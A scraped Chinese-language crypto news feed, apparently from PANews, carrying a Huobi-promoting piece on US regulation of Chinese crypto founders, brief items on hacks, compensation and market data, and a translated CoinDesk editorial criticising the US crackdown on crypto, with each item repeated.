无独有偶，非美加密企业也正面临着美国监管机构的严格审查。区块链分析公司Elliptic数据分析显示，自2009年比特币诞生以来，美国监管执法行动对从事加密交易的公司和个人处以的罚款已高达25亿美元。其中除了美国加密企业，一些海外公司往往不得不缴纳巨额费用“破财消灾”，例如总部位于迪拜的Telegram曾被SEC以发行未注册证券而被指控，除了被要求向投资者返还超过12亿美元资金，还需支付1850万美元的民事罚款；总部位于俄罗斯的加密交易所BTC-e则因故意违反美国的反洗钱法律被FinCEN判罚1.1亿美元。 而近期，华人区块链创业者也正面临美国的监管“拷问”。3月27日，美国商品期货交易委员会（CFTC）向芝加哥联邦法院提交了起诉状，近万字的指控书中指出币安及其CEO赵长鹏涉嫌违反监管措施并未能履行其监管义务，并寻求民事货币罚款和补救性附带救济措施，包括但不限于交易和注册禁令、罚没、判决前和判决后利息。不过，币安认为该起诉似乎包含不完整的事实陈述，他们不同意CFTC关于其合规、禁止美国用户访问、与执法部门合作、内幕操作等问题的描述。 值得一提的是，CFTC在对币安诉讼中声称，币安的大部分营收与利润都来自美国，并提到一间匿名的“A交易公司”是币安用来逃避美国监管的公司之一。但随后该公司Radix Trading自曝身份并认为通过这种方式在币安上进行加密货币交易的行为并没有违法，甚至表示“对于总部位于美国且活跃于加密货币领域的交易商来说，这种类型的安排很常见。” 另外，波场TRON创始人孙宇晨也被美SEC正式起诉，指控其及公司涉嫌非法销售证券、欺诈和操控市场，并针对其加密资产名人支持者的单独违规行为提出指控。对此，孙宇晨回应称这种指控缺乏依据，并表示SEC的民事投诉只是它对区块链和加密领域知名参与者采取行动的最新例子。SEC对数字资产的监管框架仍处于起步阶段，需要进一步发展。 显而易见的是，华人创业者正被置于美国政策的强监管聚光灯下。 加密货币是最具活力和创新性、迭代最快的金融产品之一，这对监管制度平衡风险防范和促进创新提出更高要求。 美国对加密领域呈现多头监管的态势，但各监管机构态度不一，比如SEC主席Gary Gensler最为强势的监管者之一，他认为现有的证券法“涵盖了加密市场上进行的大部分活动”，大多数加密货币都是证券，向美国投资者出售加密货币的海外实体需要遵守证券法。 虽然大部分加密项目面对监管机构的起诉选择花钱和解，但并不是所有加密企业都能化解监管危机。比如，加密友好银行Signature Bank就被监管机构关闭，且其收购条件是必须同意放弃该银行的所有加密货币业务。 而美国激进式的监管行动正引起加密社区的不满，在他们看来，美国当前的监管政策过时且缺乏清晰化。比如，近期收到SEC“韦尔斯通知”的Coinbase CEO Brian Armstrong认为SEC对该交易所采取的执法行动是一个对簿公堂的机会，可以揭露监管机构在和数字资产打交道时既不“公平、合理，甚至目的都缺乏严肃性”；Circle首席执行官Jeremy Allaire则警告称，美国的监管行动已经开始迫使市场参与者离开美国，进入监管不力、风险更高、控制松懈的司法管辖区。美国决策者应谨慎对待他们的下一步行动，监管机构采取“清晰、连贯和务实的政策”；孙宇晨则表示，鉴于加密货币行业可以发挥的重要作用，他们渴望与全球各国政府和监管机构合作，致力于建立透明的指导方针，以监管加密货币行业并与之合作。 而CoinDesk对于美国政府的监管行动发布评论称，该国大部分行动都是惩罚性的，而不是建设性的，打击行动超出了现行法律规定的监管机构的权限，并且违反了支撑美国和加密世界的自由和创新精神。 除了加密从业者，不少监管人士也对监管措施表达出了质疑，如SEC前主席Jay Clayton谈及美国数字资产的监管状况缺乏明确性并称其为 "垃圾"；CFTC主席Timothy Massad认为目前美国对加密货币的监管框架不足以保护投资者，即使是美国受监管的加密货币交易所也只受制于已经过时的州货币服务法，在制定投资者保护标准方面是远远不够的。 其实，美国缺乏明确的监管指导方针和粗暴的执法行动背后或与加密监管权之争有很大关系，现阶段缺乏联邦立法监管加密市场，CFTC和SEC等部门都在争夺加密监管权。对于这些美国监管机构而言，如果谁能掌握加密市场的话语权，谁就能够左右行业的市场走向。 与此同时，随着民主党背后的大金主FTX倒台及SBF与民主党密切联系被揭露，拜登政府开始围剿加密市场，而在一年前拜登政府还在强调美国要在全球数字资产治理方面发挥领导作用，如今态度急转直下背后颇耐人寻味。 然而，这种过于严苛的监管方式不仅没有很好地为投资者保驾护航，也没有给加密行业带来足够的“清晰度”，为技术提供创新空间，反而会迫使更多加密企业逃离美国。 近年来，面对全球加密资产监管环境的日趋复杂严峻，唯有合规经营才是长久之道。例如火必Huobi等加密企业通过不断完善和提升业务合规度来应对监管的不断变化，并扩大自身市场规模。 一直以来，火必Huobi都在推动自身业务合规化。除了定期接受第三方审计、启动“默克尔树证明”、承诺100%兑付等来确保资产资产存储方式、透明性和合规性外，为在全球合规化运营，火必Huobi还接连获得加拿大MSB牌照、美国MSB信托牌照、英属维尔京群岛SIBA牌照、直布罗陀DLT牌照等全球多国运营牌照。 而在2022年11月底，火必Huobi还在业务全球化与合规化取得了历史性突破，并开启了Web3.0和元宇宙的全球化进程，经多米尼克政府授权，波场Tron、火必Huobi和DMC Labs合作推出世界上首款国家发行代币DMC（Dominica Coin），并在12月推出首款国家授权认可的去中心化数字身份（Dominica DID）。 同时，伴随着美国等国家加密监管态度趋严，香港加密新政的战略机遇或进一步加速火必Huobi的全球合规透明进程。在去年香港面向加密行业开放态度后，火必Huobi更是迅速开启合规化布局。今年2月，火必Huobi上线了离岸人民币稳定币TCNH（TrueCNH），而香港则是离岸人民币的主要流通地之一，在为全球用户带来更多的新金融机会的同时，还将帮助香港迅速扩大加密版图。 此外，除了计划将亚洲总部将迁至香港，火必Huobi还正在准备申请香港加密货币交易牌照，这是加密交易所迈出的重要一步，也是火必继续致力于以合规和规范的方式运营的标志。火必Huobi还将在香港推出新交易所Huobi Hong Kong，新交易所将专注于为香港的机构投资者和高净值个人提供交易服务。 而未来火必Huobi还将持续深入在香港进行加密布局。孙宇晨透露，香港是“加密货币发展的试验区之一”，火必Huobi将将继续扩大其在香港的业务，全力支持香港新政，重点关注香港后续政策，以期能与港府在稳定币、NFT及交易所业务等领域开展合作，成为香港地区客户及Web3创业者的合作首选。 监管始终是创新技术发展的必备环节。随着Crypto不断向传统领域扩圈发展，这也对行业建立更为安全合规的业务制度提出了更高要求，这也意味着加密企业和创业者面临的诉讼风险将更大，特别是美国对非美企业更为严苛的监管审查下。而监管部门则应建立更为明确的行业标准，且避免因过度监管而遏制技术创新，为产业发展营造良好的发展环境。  ( 1 min )
    加密创业者遭Tiktok式打压，美国监管高压下的生存“秘诀”
    从互联网到加密圈，华人项目/创业者正面临一场美国监管“大考”。近期，不断有华人基因的企业和高管被美国监管机构起诉，美国似乎正试图通过铁拳手腕来遏制和打压科技和金融创新。 中美关系持续紧张之际，尽管通过数据库拆分、数据本地存储、第三方监测等多种措施满足美国日渐趋严的监管和合规要求，但TikTok作为中国互联网巨头字节跳动布局海外市场的重要产品，仍面临着美国监管“围剿”。 3月23日，一场针对海外版抖音TikTok是否威胁美国国家安全的听证会在美国国会举行。在这场长达5小时的问讯中，TikTok CEO周受资面临了几十位议员许多充满偏见与敌意的连环质问，不仅本人回应被多次中途打断，TikTok还被质疑是“间谍武器”。而这场关于TikTok甚至出海的中国科技公司命运的“鸿门宴”，美国部门对所有指控却并未拿出任何实质性证据。 从最初的行政令到国会听证会，再从与其他美国科技公司共同被传唤到被单独针对，接二连三的质疑背后的核心是，字节跳动是一家中国公司。中国外交部斥责TikTok听证会是“精心设计的政治表演”，认为美国是“一再泛化国家安全概念，滥用国家力量，打压别国企业。” 无独有偶，非美加密企业也正面临着美国监管机构的严格审查。区块链分析公司Elliptic数据分析显示，自2009年比特币诞生以来，美国监管执法行动对从事加密交易的公司和个人处以的罚款已高达25亿美元。其中除了美国加密企业，一些海外公司往往不得不缴纳巨额费用“破财消灾”，例如总部位于迪拜的Telegram曾被SEC以发行未注册证券而被指控，除了被要求向投资者返还超过12亿美元资金，还需支付1850万美元的民事罚款；总部位于俄罗斯的加密交易所BTC-e则因故意违反美国的反洗钱法律被FinCEN判罚1.1亿美元。 而近期，华人区块链创业者也正面临美国的监管“拷问”。3月27日，美国商品期货交易委员会（CFTC）向芝加哥联邦法院提交了起诉状，近万字的指控书中指出币安及其CEO赵长鹏涉嫌违反监管措施并未能履行其监管义务，并寻求民事货币罚款和补救性附带救济措施，包括但不限于交易和注册禁令、罚没、判决前和判决后利息。不过，币安认为该起诉似乎包含不完整的事实陈述，他们不同意CFTC关于其合规、禁止美国用户访问、与执法部门合作、内幕操作等问题的描述。 值得一提的是，CFTC在对币安诉讼中声称，币安的大部分营收与利润都来自美国，并提到一间匿名的“A交易公司”是币安用来逃避美国监管的公司之一。但随后该公司Radix Trading自曝身份并认为通过这种方式在币安上进行加密货币交易的行为并没有违法，甚至表示“对于总部位于美国且活跃于加密货币领域的交易商来说，这种类型的安排很常见。” 另外，波场TRON创始人孙宇晨也被美SEC正式起诉，指控其及公司涉嫌非法销售证券、欺诈和操控市场，并针对其加密资产名人支持者的单独违规行为提出指控。对此，孙宇晨回应称这种指控缺乏依据，并表示SEC的民事投诉只是它对区块链和加密领域知名参与者采取行动的最新例子。SEC对数字资产的监管框架仍处于起步阶段，需要进一步发展。 显而易见的是，华人创业者正被置于美国政策的强监管聚光灯下。 加密货币是最具活力和创新性、迭代最快的金融产品之一，这对监管制度平衡风险防范和促进创新提出更高要求。 美国对加密领域呈现多头监管的态势，但各监管机构态度不一，比如SEC主席Gary Gensler最为强势的监管者之一，他认为现有的证券法“涵盖了加密市场上进行的大部分活动”，大多数加密货币都是证券，向美国投资者出售加密货币的海外实体需要遵守证券法。 虽然大部分加密项目面对监管机构的起诉选择花钱和解，但并不是所有加密企业都能化解监管危机。比如，加密友好银行Signature Bank就被监管机构关闭，且其收购条件是必须同意放弃该银行的所有加密货币业务。 而美国激进式的监管行动正引起加密社区的不满，在他们看来，美国当前的监管政策过时且缺乏清晰化。比如，近期收到SEC“韦尔斯通知”的Coinbase CEO Brian Armstrong认为SEC对该交易所采取的执法行动是一个对簿公堂的机会，可以揭露监管机构在和数字资产打交道时既不“公平、合理，甚至目的都缺乏严肃性”；Circle首席执行官Jeremy Allaire则警告称，美国的监管行动已经开始迫使市场参与者离开美国，进入监管不力、风险更高、控制松懈的司法管辖区。美国决策者应谨慎对待他们的下一步行动，监管机构采取“清晰、连贯和务实的政策”；孙宇晨则表示，鉴于加密货币行业可以发挥的重要作用，他们渴望与全球各国政府和监管机构合作，致力于建立透明的指导方针，以监管加密货币行业并与之合作。 而CoinDesk对于美国政府的监管行动发布评论称，该国大部分行动都是惩罚性的，而不是建设性的，打击行动超出了现行法律规定的监管机构的权限，并且违反了支撑美国和加密世界的自由和创新精神。 除了加密从业者，不少监管人士也对监管措施表达出了质疑，如SEC前主席Jay Clayton谈及美国数字资产的监管状况缺乏明确性并称其为 "垃圾"；CFTC主席Timothy Massad认为目前美国对加密货币的监管框架不足以保护投资者，即使是美国受监管的加密货币交易所也只受制于已经过时的州货币服务法，在制定投资者保护标准方面是远远不够的。 其实，美国缺乏明确的监管指导方针和粗暴的执法行动背后或与加密监管权之争有很大关系，现阶段缺乏联邦立法监管加密市场，CFTC和SEC等部门都在争夺加密监管权。对于这些美国监管机构而言，如果谁能掌握加密市场的话语权，谁就能够左右行业的市场走向。 与此同时，随着民主党背后的大金主FTX倒台及SBF与民主党密切联系被揭露，拜登政府开始围剿加密市场，而在一年前拜登政府还在强调美国要在全球数字资产治理方面发挥领导作用，如今态度急转直下背后颇耐人寻味。 然而，这种过于严苛的监管方式不仅没有很好地为投资者保驾护航，也没有给加密行业带来足够的“清晰度”，为技术提供创新空间，反而会迫使更多加密企业逃离美国。 近年来，面对全球加密资产监管环境的日趋复杂严峻，唯有合规经营才是长久之道。例如火必Huobi等加密企业通过不断完善和提升业务合规度来应对监管的不断变化，并扩大自身市场规模。 一直以来，火必Huobi都在推动自身业务合规化。除了定期接受第三方审计、启动“默克尔树证明”、承诺100%兑付等来确保资产资产存储方式、透明性和合规性外，为在全球合规化运营，火必Huobi还接连获得加拿大MSB牌照、美国MSB信托牌照、英属维尔京群岛SIBA牌照、直布罗陀DLT牌照等全球多国运营牌照。 而在2022年11月底，火必Huobi还在业务全球化与合规化取得了历史性突破，并开启了Web3.0和元宇宙的全球化进程，经多米尼克政府授权，波场Tron、火必Huobi和DMC Labs合作推出世界上首款国家发行代币DMC（Dominica Coin），并在12月推出首款国家授权认可的去中心化数字身份（Dominica DID）。 同时，伴随着美国等国家加密监管态度趋严，香港加密新政的战略机遇或进一步加速火必Huobi的全球合规透明进程。在去年香港面向加密行业开放态度后，火必Huobi更是迅速开启合规化布局。今年2月，火必Huobi上线了离岸人民币稳定币TCNH（TrueCNH），而香港则是离岸人民币的主要流通地之一，在为全球用户带来更多的新金融机会的同时，还将帮助香港迅速扩大加密版图。 此外，除了计划将亚洲总部将迁至香港，火必Huobi还正在准备申请香港加密货币交易牌照，这是加密交易所迈出的重要一步，也是火必继续致力于以合规和规范的方式运营的标志。火必Huobi还将在香港推出新交易所Huobi Hong Kong，新交易所将专注于为香港的机构投资者和高净值个人提供交易服务。 而未来火必Huobi还将持续深入在香港进行加密布局。孙宇晨透露，香港是“加密货币发展的试验区之一”，火必Huobi将将继续扩大其在香港的业务，全力支持香港新政，重点关注香港后续政策，以期能与港府在稳定币、NFT及交易所业务等领域开展合作，成为香港地区客户及Web3创业者的合作首选。 监管始终是创新技术发展的必备环节。随着Crypto不断向传统领域扩圈发展，这也对行业建立更为安全合规的业务制度提出了更高要求，这也意味着加密企业和创业者面临的诉讼风险将更大，特别是美国对非美企业更为严苛的监管审查下。而监管部门则应建立更为明确的行业标准，且避免因过度监管而遏制技术创新，为产业发展营造良好的发展环境。  ( 1 min )
    Allbridge将对用户进行赔偿，补偿程序预计下周开始
    PANews 4月5日消息，跨链桥Allbridge发布公告，表示已着手对用户进行赔偿。Allbridge在公告中写道：“我们将从因紧急关闭而导致交易陷入待处理状态的网桥用户开始。他们将首先获得补偿，其次是流动性提供者。”其目前正在为无法提取资产的有限合伙人起草一份申请表，允许他们申请赔偿并提供损失详情。该表格预计将在未来两天内完成，补偿程序预计将于下周开始。 此前消息，Allbridge因安全事件导致约57万美元损失，目前一攻击者已归还1500枚BNB，Allbridge正邀请另一攻击者谈判。  ( 1 min )
    Allbridge将对用户进行赔偿，补偿程序预计下周开始
    PANews 4月5日消息，跨链桥Allbridge发布公告，表示已着手对用户进行赔偿。Allbridge在公告中写道：“我们将从因紧急关闭而导致交易陷入待处理状态的网桥用户开始。他们将首先获得补偿，其次是流动性提供者。”其目前正在为无法提取资产的有限合伙人起草一份申请表，允许他们申请赔偿并提供损失详情。该表格预计将在未来两天内完成，补偿程序预计将于下周开始。 此前消息，Allbridge因安全事件导致约57万美元损失，目前一攻击者已归还1500枚BNB，Allbridge正邀请另一攻击者谈判。  ( 1 min )
    Cash App创始人Bob Lee在旧金山遇刺身亡
    PANews 4月5日消息，据Cointelegraph报道，当地时间 4 月 4 日星期二凌晨，Square 前首席技术官兼 Cash App 的创始人 Bob Lee 在旧金山因刺伤身亡。 旧金山警察局 4 月 4 日的一篇帖子解释说，警察在当地时间凌晨 2 点 35 分左右接到了一起刺伤报告，发现一名“43 岁的成年男性受害者身上有明显的刀伤”，并补充道：“警方提供了援助并召集了医务人员到现场。受害人被送往当地一家医院，伤势危及生命。尽管急救人员和医务人员做出了努力，但受害人还是因伤势过重而死亡。”  ( 1 min )
    Cash App创始人Bob Lee在旧金山遇刺身亡
    PANews 4月5日消息，据Cointelegraph报道，当地时间 4 月 4 日星期二凌晨，Square 前首席技术官兼 Cash App 的创始人 Bob Lee 在旧金山因刺伤身亡。 旧金山警察局 4 月 4 日的一篇帖子解释说，警察在当地时间凌晨 2 点 35 分左右接到了一起刺伤报告，发现一名“43 岁的成年男性受害者身上有明显的刀伤”，并补充道：“警方提供了援助并召集了医务人员到现场。受害人被送往当地一家医院，伤势危及生命。尽管急救人员和医务人员做出了努力，但受害人还是因伤势过重而死亡。”  ( 1 min )
    DOGE第五大持有者过去7天转出超15亿枚DOGE，价值约1.36亿美元
    PANews 4月5日消息，据Bitinfochart数据显示，DOGE第五大持有者“DDuX开头”地址在3月30日至4月5日期间一共转出了超15亿枚的DOGE，价值约合1.36亿美元，据此前报道，该地址在推特网页版LOGO更换成DOGE头像之后转出6.5亿枚DOGE，价值约合6130万美元。  ( 1 min )
    DOGE第五大持有者过去7天转出超15亿枚DOGE，价值约1.36亿美元
    PANews 4月5日消息，据Bitinfochart数据显示，DOGE第五大持有者“DDuX开头”地址在3月30日至4月5日期间一共转出了超15亿枚的DOGE，价值约合1.36亿美元，据此前报道，该地址在推特网页版LOGO更换成DOGE头像之后转出6.5亿枚DOGE，价值约合6130万美元。  ( 1 min )
    币安将于4月6日对以太坊钱包进行维护，代币交易不受影响
    PANews 4月5日消息，据官方公告，币安将于北京时间2023年4月6日15:00对以太坊网络（ERC20）钱包进行维护，预计需要两个小时。钱包维护期间，以太坊网络代币交易将不受影响。充值、提现业务将于4月6日14:55起暂停，并将在钱包维护完成后重新开放。  ( 1 min )
    币安将于4月6日对以太坊钱包进行维护，代币交易不受影响
    PANews 4月5日消息，据官方公告，币安将于北京时间2023年4月6日15:00对以太坊网络（ERC20）钱包进行维护，预计需要两个小时。钱包维护期间，以太坊网络代币交易将不受影响。充值、提现业务将于4月6日14:55起暂停，并将在钱包维护完成后重新开放。  ( 1 min )
    CertiK：若Sentiment黑客在规定之间内归还资产，将获9.5万美元奖励
    PANews 4月5日消息，CertiK推特发文称，一小时前有人给Sentiment黑客发送链上信息，表示如果黑客在北京时间4月6日下午4点前归还盗窃资产，将获得9.5万美元的奖励。如果黑客在上述时间没有归还资产，奖金将发放给那些提供黑客信息的人。据此前消息，DeFi借贷协议Sentiment今日凌晨在Arbitrum网络被盗约100万美元，根本原因在于Balancer的只读可重入性。Sentiment官方团队目前正在调查Sentiment协议被盗资金。Sentiment已经采取措施找出漏洞的根本原因，并降低进一步损失的风险。同时团队正与执法部门保持联系，并一直在与第三方审计机构和安全公司合作。  ( 1 min )
    CertiK：若Sentiment黑客在规定之间内归还资产，将获9.5万美元奖励
    PANews 4月5日消息，CertiK推特发文称，一小时前有人给Sentiment黑客发送链上信息，表示如果黑客在北京时间4月6日下午4点前归还盗窃资产，将获得9.5万美元的奖励。如果黑客在上述时间没有归还资产，奖金将发放给那些提供黑客信息的人。据此前消息，DeFi借贷协议Sentiment今日凌晨在Arbitrum网络被盗约100万美元，根本原因在于Balancer的只读可重入性。Sentiment官方团队目前正在调查Sentiment协议被盗资金。Sentiment已经采取措施找出漏洞的根本原因，并降低进一步损失的风险。同时团队正与执法部门保持联系，并一直在与第三方审计机构和安全公司合作。  ( 1 min )
    数据：Gemesis已铸造超过4万枚，占总量24.8%
    PANews 4月5日消息， OpenSea数据显示，OpenSea Pro向用户空投的“Gemesis”NFT已铸造44,581枚，占总量的24.8%。据此前消息，OpenSea Pro表示将向Gem用户空投“Gemesis”NFT。在2023年3月31日之前使用过Gem的用户都有资格领取“Gemesis”NFT，该NFT可在OpenSea上直接铸造。  ( 1 min )
    数据：Gemesis已铸造超过4万枚，占总量24.8%
    PANews 4月5日消息， OpenSea数据显示，OpenSea Pro向用户空投的“Gemesis”NFT已铸造44,581枚，占总量的24.8%。据此前消息，OpenSea Pro表示将向Gem用户空投“Gemesis”NFT。在2023年3月31日之前使用过Gem的用户都有资格领取“Gemesis”NFT，该NFT可在OpenSea上直接铸造。  ( 1 min )
    Coindesk社论：美国走进了打击加密货币的“死胡同”
    作者：Coindesk主编Kevin Reynolds 编译：比推BitpushNews Mary Liu 遛狗时，我经常遇到一位名叫“Harry”（化名）的七十多岁老人，他是前纽约市侦探，每天早上都会在附近的高尔夫球场喂养一群流浪猫。我们闲聊了几次，他的世界观包括相信极右翼 QAnon 阴谋论，以及另一场美国内战即将来临，他说他一直在等待某种“信号”。 有时我们谈论加密货币。几天前，我告诉他，由于银行危机和政府压力迅速增加，该行业一直处于艰难时期。 他立刻反问了一句：“你真的认为中央银行和政府会允许法定货币的竞争对手存在吗？” 这让我不寒而栗。Harry 大谈特谈阴谋论，我发现越来越难以反驳。 在短短几周的时间里，人们越来越容易相信——无论对错——在加密交易所 FTX 崩溃后，美国监管机构正试图限制所有境内的加密技术项目（如果不是彻底排斥的话）。 这个阴谋论不需要太多的怀疑，甚至包括前监管机构在内的高级观察员也将此描述为协同攻击（Coordinated Attack）。现任政府对加密货币的敌意在官方声明中很明显，然后就是执法行动。在多年来无视行业对指导和监管的呼吁之后，美国政府似乎正在对加密货币的所有进行报复。 美国证券交易委员会 (SEC) 对包括Kraken和Coinbase在内的加密公司采取了一系列执法行动，而就在几天前，商品期货交易委员会 (CFTC) 起诉了币安。拜登政府上周还发布了“总统经济报告”，该报告指出加密货币不是一项有用的技术，同时重点关注近年来发生的一系列利用加密技术的犯罪欺诈行为。 我不相信存在协同攻击（Coordinated Attack）的原因有两个，一个植根于理想主义，另一个是我的犬儒主义（cynicism）。 首先，这是美国，充满机遇和自由的土地。蓄意攻击加密所代表的经济自由将违背这个国家的价值观。其次，美国–一个基础设施摇摇欲坠的地方，我们的领导层甚至无法集中力量及时修复我们的桥梁和铁路。令人沮丧的是，他们可能更倾向于破坏未来的金融基础设施，而不是维护现在的物理基础设施。CFTC 在其针对币安的诉讼中声称以太坊是一种商品，而SEC和纽约总检察长都认为它是一种证券，这证明了美国联邦层面缺乏监管共识。 但这是否是针对加密货币的打击可能无关紧要。有些人相信这是真的，而且不仅仅是我的朋友Harry。这个想法现在很流行：美国将其用于加密行业。因此，一些公司正在考虑转移到海外，而另一些公司则担心他们会失去或无法获得银行账户。相信这一点的不仅仅是业内人士。例如，银行家们正在拒绝在加密大会上发言的邀请，因为他们担心被监管机构盯上。 如果拜登政府不做出重大改变，美国反对加密货币的观点很快就会变得根深蒂固，无法根除。事实上，美国政府的大部分行动都是惩罚性的，而不是建设性的，这是一个重要因素。 监管机构和白宫需要明确表示，加密在美国是有未来的，没有比为行业提供其渴求的监管清晰度更好的方法了。参议院 Lummis-Gillibrand 的负责任金融创新法等拟议立法中已经制定了更合适的框架蓝图。我们和加密的大部分参与者都欢迎这样的清晰度，但监管机构和许多其他立法者似乎不愿意提供它。 CoinDesk几乎从不就问题采取正式立场。正如过去所指出的，我们通常只是传递事实，而不是对任何给定主题采取官方观点。但在这种情况下，我们的立场应该明确。 Coindesk社论领导层认为，由于美国最近的行动（无论这些行动是否有意），加密面临的威胁是真实存在的，我们需要代表具有潜在优势和经济赋权力量的技术和行业表明立场。 我们认为，监管机构的行动不会成功实现其保护美国人免受欺诈和诈骗的既定目标。早期的例子表明，它极有可能将技术创新推向美国境外。除其他影响外，这将使除了最内行的参与者之外的所有人无法将欺诈活动与合法的创新努力区分开来。 有迹象表明，打击行动超出了现行法律规定的监管机构的权限，并且违反了支撑美国和加密行业的自由和创新精神，我们对此感到震惊。 看起来监管机构正试图阻止加密公司访问传统的银行服务。前国会议员Barney Frank是 2008 年金融危机后更严格的银行业监管的设计者，他表示他担任董事会成员的 Signature Bank 被纽约金融服务部 (NYDFS) 强制清算，因为“监管机构想要发送一个非常强烈的反加密信息”，NYDFS否认了这一指控。 但这一说法似乎得到了银行当局近期举措的支持。3 月 16 日，路透社报道称，美国联邦存款保险公司 (FDIC) 要求 Signature Bank 的潜在买家放弃该银行的加密客户，实质上是拒绝为他们提供进一步的银行服务。FDIC 否认了这一点——但当交易完成时，加密货币客户确实被排除在收购之外。 一些人将这种 sub-rosa 行动称为“窒息点行动2.0”（Operation Choke Point） ——这显然是奥巴马时代流传下来的，该行动旨在将合法但在政治上不受欢迎的企业（包括枪支制造商和小额现金贷款人）踢出银行系统。这些措施似乎不仅规避了正当程序，而且重复了前几届政府已经受到立法者和法律制度严厉惩戒的违法行为。 值得注意的是，FDIC 现任负责人Martin Greunberg是最初的窒息点行动的设计师。 这些质疑最终迎来了一波诉讼和听证会，总的来说，这些诉讼和听证会得出的结论是政府滥用了权力。为了解决各种诉讼，FDIC 承诺进行内部改革，以防止对合法企业的监管过度，包括终止向银行提供有关客户选择的不成文建议，这一承诺的诚意现在看来值得怀疑。 CoinDesk 正在努力揭开最近事件背后的真实故事，并揭露美国是否真的存在协同攻击（Coordinated Attack）来扼杀加密行业。但滥用政府权力的现象足以引起人们的警觉，甚至在事情还未明朗之前。 必须将这种暗地里的反加密议程与针对使用户受害的加密骗局采取的法律行动区分开来。我们非常清楚，与之前的许多前沿技术一样，加密技术对欺诈者极具吸引力。我们对包括 Do Kwon 和 Sam Bankman-Fried 在内的涉嫌罪犯的起诉和可能的监禁表示赞同。我们积极努力阻止欺诈：CoinDesk 的报道揭露了 FTX 涉嫌大规模欺诈，我们在加密借贷机构 Celsius Network和 Terra倒闭之前警告投资者远离它们。 但否认加密工具的开发者和加密服务的创造者在美国银行管理其美元资金的能力并不是反欺诈措施。这是一个Daisy Cutter，可能的结果是“杀敌一千自损八百”。同样，未能为受监管的数字资产发行建立明确的框架，最终会使消费者和执法部门更难阻止欺诈行为，因为它消除了任何获得合法性的途径，即使是最合规的基于数字资产的项目也是如此。 这种扼杀加密的明显努力也产生了连锁反应。如前所述，银行官员明显不太愿意公开谈论加密货币或参加有关该主题的公开小组讨论，因为他们认为他们会以某种方式与监管机构发生冲突。因此，关于该行业未来的辩论有可能成为支持加密货币的“回声室”，而不是可以创造出真理和真正创新的熔炉。 还存在加密货币被政治化的风险。数字资产社区经常回避政党政治，更愿意坚持更大的自由和个人自治原则。事实上，建设性的两党加密立法提案在很大程度上已成为常态——最著名的是由参议员 Cynthia Lummis和 Kirsten Gillibrand发起的综合法案。但现在，政府反对加密货币的看法正威胁着破坏这种开放合作。人们对加密货币的看法可能很快取决于政治派别。如果发生这种情况，没有人会赢。 加密货币确实具有现实世界的用途和好处，包括作为世界各地面临镇压和暴力的人们的金融替代品。仅举一个例子，在俄罗斯入侵之后，加密货币使1 亿美元的援助迅速到达乌克兰——比传统的政府渠道转移的速度更快。 更广泛地说，加密货币已经成为一种工具的宣传纽带，这些工具可以抵制数字权力危险地集中在公司手中，这些公司的数据囤积使监视和审查成为他们的主要交易对象。监视垄断资本的崛起是许多立法者明显关注的话题，他们的权力银行监管者目前似乎正在篡夺。 虽然投机推动了数字资产的大部分市场活动（很像科技股市场），但它们的价格也受到当前用户实际需求的推动。每天都有数十亿美元的价值通过比特币网络在世界各地流动。 比特币和许多其他加密货币即使在全面、不分青红皂白的监管打击下也能在功能运作上毫发无损。这就是关键：这些系统的设计目标是让个人能够在数字时代控制自己的命运，与政府和企业结构分开。 在这方面，加密货币符合作为美国价值观的基本原则。美国宪法所载的宗教、言论自由和其他权利是在全世界传播自由的蓝图，它们帮助数百万人增加了人类的繁荣、幸福和财富。 现在，这些保护措施对许多美国人来说似乎很正常，但它们曾被老牌强国视为危险和破坏稳定的力量。时至今日，即使在美国的土地上，威权主义者也不断重蹈覆辙，通过审查和限制寻求安全的假象。 鉴于这一现实，使个人财务主权成为民主社会中理所当然的保护，就像今天的言论和宗教自由一样，显然仍有很长的路要走。我希望相信阴谋论的朋友最终被证明是错误的，拜登政府不是要扼杀加密货币。假设情况确实如此，白宫需要清楚地表明其积极意图。例如，它应该支持两党的努力，通过立法授权 SEC 制定与数字资产有关的证券法的明确指导方针。 来吧，请证明Harry错了。  ( 2 min )
    Coindesk社论：美国走进了打击加密货币的“死胡同”
    作者：Coindesk主编Kevin Reynolds 编译：比推BitpushNews Mary Liu 遛狗时，我经常遇到一位名叫“Harry”（化名）的七十多岁老人，他是前纽约市侦探，每天早上都会在附近的高尔夫球场喂养一群流浪猫。我们闲聊了几次，他的世界观包括相信极右翼 QAnon 阴谋论，以及另一场美国内战即将来临，他说他一直在等待某种“信号”。 有时我们谈论加密货币。几天前，我告诉他，由于银行危机和政府压力迅速增加，该行业一直处于艰难时期。 他立刻反问了一句：“你真的认为中央银行和政府会允许法定货币的竞争对手存在吗？” 这让我不寒而栗。Harry 大谈特谈阴谋论，我发现越来越难以反驳。 在短短几周的时间里，人们越来越容易相信——无论对错——在加密交易所 FTX 崩溃后，美国监管机构正试图限制所有境内的加密技术项目（如果不是彻底排斥的话）。 这个阴谋论不需要太多的怀疑，甚至包括前监管机构在内的高级观察员也将此描述为协同攻击（Coordinated Attack）。现任政府对加密货币的敌意在官方声明中很明显，然后就是执法行动。在多年来无视行业对指导和监管的呼吁之后，美国政府似乎正在对加密货币的所有进行报复。 美国证券交易委员会 (SEC) 对包括Kraken和Coinbase在内的加密公司采取了一系列执法行动，而就在几天前，商品期货交易委员会 (CFTC) 起诉了币安。拜登政府上周还发布了“总统经济报告”，该报告指出加密货币不是一项有用的技术，同时重点关注近年来发生的一系列利用加密技术的犯罪欺诈行为。 我不相信存在协同攻击（Coordinated Attack）的原因有两个，一个植根于理想主义，另一个是我的犬儒主义（cynicism）。 首先，这是美国，充满机遇和自由的土地。蓄意攻击加密所代表的经济自由将违背这个国家的价值观。其次，美国–一个基础设施摇摇欲坠的地方，我们的领导层甚至无法集中力量及时修复我们的桥梁和铁路。令人沮丧的是，他们可能更倾向于破坏未来的金融基础设施，而不是维护现在的物理基础设施。CFTC 在其针对币安的诉讼中声称以太坊是一种商品，而SEC和纽约总检察长都认为它是一种证券，这证明了美国联邦层面缺乏监管共识。 但这是否是针对加密货币的打击可能无关紧要。有些人相信这是真的，而且不仅仅是我的朋友Harry。这个想法现在很流行：美国将其用于加密行业。因此，一些公司正在考虑转移到海外，而另一些公司则担心他们会失去或无法获得银行账户。相信这一点的不仅仅是业内人士。例如，银行家们正在拒绝在加密大会上发言的邀请，因为他们担心被监管机构盯上。 如果拜登政府不做出重大改变，美国反对加密货币的观点很快就会变得根深蒂固，无法根除。事实上，美国政府的大部分行动都是惩罚性的，而不是建设性的，这是一个重要因素。 监管机构和白宫需要明确表示，加密在美国是有未来的，没有比为行业提供其渴求的监管清晰度更好的方法了。参议院 